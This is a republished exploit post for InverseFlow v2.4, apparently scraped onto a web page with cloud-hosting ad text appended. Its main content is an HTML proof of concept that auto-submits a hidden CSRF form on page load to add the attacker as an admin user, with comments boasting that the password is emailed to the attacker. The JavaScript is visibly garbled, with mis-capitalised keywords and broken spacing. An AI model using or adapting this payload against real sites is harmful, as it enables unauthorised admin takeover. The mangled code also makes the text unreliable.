Title: InverseFlow v2.4 CSRF Vulnerabilities (Add Admin User)
Test version: 2.4
Author: EjRaM HaCkEr www.2cto.com m2z () 9.cn
: Http://asria.info/download/script/inverseflow.zip
0-=- =-1
# All you have to do is save the below code as exploit.html
# Will automatically add the attacker as Admin without warning ;)
# The password will be sent automatically to email ;)
Code:
<Html>
<Head>
</Head>
<Body onload = "javascript: fireForms ()">
<Script language = "JavaScript">
Var pauses = new arrays ("2360 ");
Function pausecomp (millis)
{
Var date = new Date ();
Var curDate = null;
Do {curDate = new Date ();}
While (curDate-date <millis );
}
Function fireForms ()
{
Var count = 1;
Var I = 0;
For (I = 0; I <count; I ++)
{
Document. forms [I]. submit ();
Pausecomp (pauses [I]);
}
}
</Script>
<Form method = "POST" name = "form0" action = "http://www.bkjia.com/support/user. php">
<Input type = "hidden" name = "cmd" value = "add"/>
<Input type = "hidden" name = "name" value = "ejram hacker"/>
<Input type = "hidden" name = "email" value = "ejram@gmail.com"/>
</Form>
</Body>
</Html>
######################################## ################################
(+) Exploit Coded by: EjRaM HaCkEr
Fix: refer to the above Code
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
